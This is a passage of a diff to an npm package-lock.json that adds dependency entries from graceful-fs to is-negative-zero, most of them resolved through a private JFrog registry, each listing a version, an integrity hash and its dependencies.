"node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "node_modules/grapheme-splitter": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", + "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==" + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==" + }, + "node_modules/gzip-size": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/gzip-size/-/gzip-size-6.0.0.tgz", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "dependencies": { + "duplexer": "^0.1.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==" + }, + "node_modules/harmony-reflect": { + "version": "1.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/harmony-reflect/-/harmony-reflect-1.6.2.tgz", + "integrity": "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==" + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-bigints": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==" + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "bin": { + "he": "bin/he" + } + }, + "node_modules/hoopy": { + "version": "0.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/hoopy/-/hoopy-0.1.4.tgz", + "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==", + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/hpack.js/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" + }, + "node_modules/hpack.js/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/hpack.js/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/hpack.js/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/html-encoding-sniffer": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz", + "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==", + "dependencies": { + "whatwg-encoding": "^1.0.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/html-entities": { + "version": "2.3.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-entities/-/html-entities-2.3.6.tgz", + "integrity": "sha512-9o0+dcpIw2/HxkNuYKxSJUF/MMRZQECK4GnF+oQOmJ83yCVHTWgCH5aOXxK5bozNRmM8wtgryjHD3uloPBDEGw==" + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==" + }, + "node_modules/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-webpack-plugin/-/html-webpack-plugin-5.5.3.tgz", + "integrity": "sha512-6YrDKTuqaP/TquFH7h4srYWsZx+x6k6+FbsTm0ziCwGHDP78Unr1r9F/H4+sGmMbX08GQcJ+K64x55b+7VM/jg==", + "dependencies": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "peerDependencies": { + "webpack": "^5.20.0" + } + }, + "node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==" + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-parser-js": { + "version": "0.5.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-parser-js/-/http-parser-js-0.5.8.tgz", + "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==" + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-proxy-middleware/-/http-proxy-middleware-2.0.6.tgz", + "integrity": "sha512-ya/UeJ6HVBYxrgYotAZo1KvPWlgB48kUJLDePFeneHsVujFaW5WNj2NgWCAE//B1Dl02BIfYlpNgBy8Kf8Rjmw==", + "dependencies": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@types/express": "^4.17.13" + }, + "peerDependenciesMeta": { + "@types/express": { + "optional": true + } + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/idb": { + "version": "7.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/idb/-/idb-7.1.1.tgz", + "integrity": "sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==" + }, + "node_modules/identity-obj-proxy": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz", + "integrity": "sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==", + "dependencies": { + "harmony-reflect": "^1.4.6" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/ignore": { + "version": "5.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/immer": { + "version": "9.0.21", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/immer/-/immer-9.0.21.tgz", + "integrity": "sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==" + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/import-fresh/node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/import-local": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/import-local/-/import-local-3.1.0.tgz", + "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==", + "dependencies": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + }, + "bin": { + "import-local-fixture": "fixtures/cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" + }, + "node_modules/internal-slot": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/internal-slot/-/internal-slot-1.0.5.tgz", + "integrity": "sha512-Y+R5hJrzs52QCG2laLn4udYVnxsfny9CpOhNhUvk/SSSVyF6T27FzRbF0sroPidSu3X8oEAkOn2K804mjpt6UQ==", + "dependencies": { + "get-intrinsic": "^1.2.0", + "has": "^1.0.3", + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/ipaddr.js": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ipaddr.js/-/ipaddr.js-2.1.0.tgz", + "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-array-buffer/-/is-array-buffer-3.0.2.tgz", + "integrity": "sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w==", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "is-typed-array": "^1.1.10" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "node_modules/is-bigint": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dependencies": { + "has-bigints": "^1.0.1" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-core-module": { + "version": "2.12.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-core-module/-/is-core-module-2.12.1.tgz", + "integrity": "sha512-Q4ZuBAe2FUsKtyQJoQHlvP8OvBERxO3jEmy1I7hcRXcJBGGHFh/aJBswbXuS9sgrDH2QUO8ilkwNPHvHMd8clg==", + "dependencies": { + "has": "^1.0.3" + } + }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-fn": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-generator-fn/-/is-generator-fn-2.1.0.tgz", + "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-map": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-map/-/is-map-2.0.2.tgz", + "integrity": "sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==" + }, + "node_modules/is-module": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-module/-/is-module-1.0.0.tgz", + "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==" + }, + "node_modules/is-negative-zero": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": 